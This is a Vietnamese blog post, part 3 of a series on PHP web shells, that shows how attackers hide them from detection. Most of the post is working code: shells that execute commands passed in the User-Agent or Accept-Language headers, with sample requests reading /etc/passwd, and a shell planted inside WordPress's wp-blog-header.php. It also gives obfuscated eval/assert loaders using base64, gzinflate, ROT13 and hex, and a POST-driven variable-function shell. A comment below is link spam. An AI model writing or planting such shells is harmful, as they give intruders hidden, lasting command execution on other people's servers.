Thứ Năm, 21 tháng 9, 2017

Giới thiệu về web-shells (Phần 3) - Các cách ẩn giấu tránh bị phát hiện của web-shells



Chỉnh sửa headers
Thay vì post câu lệnh qua tham số $_POST, hacker sử dụng tham số user agent.

<?php system($_SERVER['HTTP_USER_AGENT'])?>
.
GET /demo/shell.php HTTP/1.1
Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: cat /etc/passwd
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,el;q=0.4

Phương thức trên thì có thể phát hiện ở trong server log.
192.168.5.26 - - [28/Apr/2016:20:38:28 +0100] "GET /demo/shell.php HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
192.168.5.26 - - [28/Apr/2016:20:38:50 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "cat /etc/passwd"
Một cách khác có thể tránh được điều này, đó là sử dụng HTTP_ACCEPT_LANGUAGE
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
GET /demo/shell.php HTTP/1.1
Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36Accept-Encoding: gzip, deflate, sdch
Accept-Language: cat /etc/passwd
Ẩn giấu sâu trong thư mục con và sử dụng tên random. ví dụ
http://www.example.com/includes/blocks/user/text_editor/bbja1jsf.php
Nhúng web shell vào file đã có, hợp lệ như index.php, about.php. Ví dụ : wordpress
// http://www.example.com/wp-content/wp-blog-header.php
if ( !isset($wp_did_header) ) {
$wp_did_header = true;
// Load the WordPress Core System
system($_SERVER['HTTP_ACCEPT_LANGUAGE']);
// Load the WordPress library.
require_once( dirname(__FILE__) . '/wp-load.php' );
// Set up the WordPress query.
wp();
// Load the theme template.
require_once( ABSPATH . WPINC . '/template-loader.php' );
}
Obfuscation: Làm rối mã
-         xóa hết ký tự trắng, dấu cách để khó đọc
-         làm rối code sử dụng hàm để tái cấu trúc lại code khi chạy
<?php
// Scrambled
  $k='c3lzdGVtKCdscyAtbGEnKTs=';$c=strrev('(edoced_46esab.""nruter')."'".$k."');";$f=eval($c);eval($f);
 
// Unscrambled
  // base_64 encoded string -> system('ls -la');
  $k='c3lzdGVtKCdscyAtbGEnKTs=';
  // strrev() reverses a given string:   strrev('(edoced_46esab.""nruter')."'".$k."')
$c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');");
  // $c = system('ls -la');
  $f=eval($c);
  eval($f);
Encoding, Compression, and Replacement
  • eval() – Thực thi php code trong string đưa vào.
  • assert() – Thực thi php code trong string đưa vào.
  • base64() – Encodes data với base64 encoding
  • gzdeflate() – Compresses a string using DEFLATE data format. gzinflate() decompresses.
  • str_rot13() – Dịch mỗi ký tự đi 13 vị trí trong bảng chữ cái
<?php
  // Evaluates the string "system('ls -la');" as PHP code
  eval("system('ls -la');");
 
  // Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
  eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));
 
  // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
  eval(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
  // Decodes the compressed, ROT13 encoded, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
eval(gzinflate(str_rot13(base64_decode('K64sLlbN1UPKKUnQzVZH0rQGAA=='))));
  // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
  assert(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
?>
Sử dụng Hex
<?php <br ?--> // function that accepts a hex encoded data
function dcd($hex){
// split $hex
for ($i=0; $i < strlen($hex)-1; $i+=2){ 
//run hexdec on every two characters to get their decimal representation which will be then used by char() to find the corresponding ASCII character
$string .= chr(hexdec($hex[$i].$hex[$i+1])); 
} 
// evaluate/execute the command 
eval($string); 
} 
dcd('73797374656d2827636174202f6574632f70617373776427293b'); 
?>
Ví dụ một cách khác:
<?php
  // Send a POST request with variable '1' = 'system' and variable '2' = 'cat /etc/passwd'
  $_=$_POST['1'];
  $__=$_POST['2'];
   //The following will now be equivalent to running -> system('cat /etc/passwd');
  $_($__);
?>

Share This!


1 nhận xét:

  1. 10 Tut - Sharing Tip And Tut: Giới Thiệu Về Web-Shells (Phần 3) - Các Cách Ẩn Giấu Tránh Bị Phát Hiện Của Web-Shells >>>>> Download Now

    >>>>> Download Full

    10 Tut - Sharing Tip And Tut: Giới Thiệu Về Web-Shells (Phần 3) - Các Cách Ẩn Giấu Tránh Bị Phát Hiện Của Web-Shells >>>>> Download LINK

    >>>>> Download Now

    10 Tut - Sharing Tip And Tut: Giới Thiệu Về Web-Shells (Phần 3) - Các Cách Ẩn Giấu Tránh Bị Phát Hiện Của Web-Shells >>>>> Download Full

    >>>>> Download LINK

    Trả lờiXóa